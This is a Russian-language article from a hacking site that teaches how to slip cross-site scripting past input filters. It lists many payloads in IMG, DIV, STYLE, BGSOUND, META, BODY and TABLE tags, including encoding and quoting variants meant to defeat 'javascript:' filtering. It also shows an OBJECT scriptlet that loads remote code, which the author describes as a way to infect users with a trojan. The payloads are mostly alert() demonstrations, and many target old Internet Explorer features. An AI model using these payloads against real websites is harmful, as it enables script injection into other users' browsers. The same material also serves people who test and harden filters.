V-zlom.ru » Статьи » Обход фильтовки

Обход фильтовки

Как Вы, наверное, уже поняли, XSS используется не только для вывода сообщений. В основном при XSS-атаке используется javascript. Большинство начинающих программистов очень боятся тега <script> и поэтому жёстко его фильтруют. 
Но кто сказал, что XSS можно провести только через тег <script>? Даже если он фильтруется, есть ещё целое море тегов, через которые можно провести XSS. 
Вот пример , который выводит сообщение “Я здесь был”: 

alert(‘Я здесь был’)


Сейчас мы будем рассматривать только этот вариант (вывод сообщения), просто для лёгкости понимания. Итак, начнём. 

Все теги, в которых проводятся XSS, делятся на 2 большие группы 
1. Теги, которые работают только с браузером Internet Explorer. (то есть “правильно” обрабатываются только им). 
2. Теги, которые нормально работают с остальными браузерами. 

Для начала рассмотрим теги, которые правильно обрабатываются IE (т.к. на данный момент он самый популярный). 

1. <TABLE>. Данный тег используется для создания таблиц. У этого тега есть свойство BACKGROUND, отвечающее за фон таблицы. Опасность этого тега в том, что за место фона можно ввести код на javascript следующим образом: 

<TABLE BACKGROUND="javascript:alert('Я здесь был')">


2. <DIV>. Данный тег служит контейнером для внутреннего текста. К тексту, который находится внутри тегов <div></div>, может быть применён определённый стиль (CSS). Вот пример использования данного тега для XSS атаки: 

<DIV STYLE="background-image: url(javascript:alert('Я здесь был'))">


Как видите, здесь мы используем вставку кода в параметр STYLE. Но есть и ещё один вариант использования данного тега. Не с помощью функции url(), а через функцию expression(): 

<DIV STYLE="width: expression(alert('Я здесь был '));">


В данном случае тоже используется параметр STYLE. 

3. <STYLE>. Данный тег задает правила оформления и форматирования элементов, находящихся внутри тегов <STYLE></STYLE>. Вот 2 варианта использования XSS: 

<STYLE>.XSS{background-image:url("javascript:alert('Я здесь был ')");}</STYLE><A CLASS=XSS></A>


Здесь происходит следующее действие – сначала объявляется класс XSS(в нём расположен XSS- код), а затем он вызывается с помощью 

<A CLASS=XSS></A>


Второй вариант: 

<STYLE> type="text/css">BODY{background:url("javascript:alert(‘Я здесь был’)")} </STYLE>


В этом варианте наш XSS-код указывается как фоновое изображение странички. 
4. <BGSOUND>. Данный тег используется для указания фонового звука странички. Но за место звукового файла можно указать и код javascript 

<BGSOUND SRC="javascript:alert(‘Я здесь был’);">


5. <IMG>. Этот тег используется для вставки изображений на страничку. 2 свойства этого тега обрабатывается только Internet Explorer’ом. Это свойства DYNSRC и LOWSRC. В их значении может быть указан код скрипта. 

<IMG DYNSRC="javascript:alert(‘Я здесь был’)">

 

<IMG LOWSRC="javascript:alert(‘Я здесь был’)">


Таким же образом можно указать код в свойстве SRC. Это свойство обрабатывается всеми браузерами. Про него будет рассказано ниже. 

6. <OBJECT>. Данный тег внедряет определённый объект в html-страницу. Лично я ни в одном учебнике не видел какого-либо материала о внедрение удалённых объектов, только тех, которые находятся уже в коде странички. Но вставка удалённого javascript кода возможна следующим способом: 

<OBJECT TYPE="text/x-scriptlet" DATA="http://www.site.com/test.html">   </OBJECT>


Тут мы указали url странички на которой может находиться опасный код, к тому же этот тег может использоваться для заражения множества клиентов. Не будут же взломщики вставлять в своё сообщение код Трояна на javascript. Им проще будет поставить на него ссылку, и разместить код Трояна на другой странице. При загрузке страницы, код трояна будет загружаться с другого сайта. Это облегчает задачу когда через XSS пытаются заразить пользователей нескольких сайтов. 

Давайте теперь рассмотрим теги которые обрабатываются всеми браузерами. 
1. <META>. META-теги чаще всего используются для индексирования страницы поисковиками, но нам нужно не это. У META-тегов есть свойство refresh, где в свойстве CONTENT можно указать произвольный код: 

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">


2. <BODY>. Всем известный тег. У него есть свойство onload, которое выполняется при загрузке. В это свойство можно вставить код на javascript следующим образом: 

<BODY onload=alert('XSS')>


Код будет срабатывать при каждой загрузке страницы. Чаще всего люди думают что тег <BODY> может встречаться в документе только один раз. Это не верное мнение. Вот пример нормальной работы XSS: 

<html> 
<head>
</head>
<body>								     
<body onload=alert('XSS')>
 </body>
</html>



Следовательно, запись <BODY onload=alert('XSS')> может быть вставлена в любом участке станицы. И ещё один вариант применения: 

<BODY BACKGROUND="javascript:alert('XSS')" >


3. <IMG>. О данном теге было рассказано выше, но сейчас я хочу описать некоторые способы обхода фильтрации, т.к. иногда этот тег разрешён, но фильтруется записи типа “javascript”. Для проведения XSS может использоваться свойство SRC: 

<IMG SRC=”javascript:alert(‘XSS’)”>


Но что делать, если имеется фильтрация ? Если фильтрация идёт по признаку “javascript:” , то можно попробовать обойти её следующим способом: 

<IMG SRC=”javascript:alert('XSS')”>


Вот ещё несколько вариантов 

<IMG SRC=javascript:alert('XSS')>


(вариант без двойных ковычек) 

<IMG SRC=javascript:alert("XSS")>


(вариант вообще без каких-либо кавычек) 

<IMG SRC="   javascript:alert('XSS');">


(если фильтрация идёт по элементу ”javascript, данный вариант работает и без кавычек) 

Так же можно использовать vbscript

<IMG SRC='vbscript:msgbox("Я здесь был")'>


4. <STYLE>. О данном теге тоже говорилось ниже, но только для IE. 
Вот вариант который работает во всех браузерах: 

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>


И на последок несколько причин неработоспособности XSS: 
1. XSS с тегами <IMG> не работают в браузере FireFox 
2. У клиента javascript может блокироваться брандмауэром или браузером(очень редко). 
3. У клиента может блокироваться VBScript. 
4. У клиента могу блокироваться внешние объекты (помешает загрузке скриптов с другого сайта).

  • Автор: makar
  • Комментарии: 0
  • Просмотры: 305
1

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!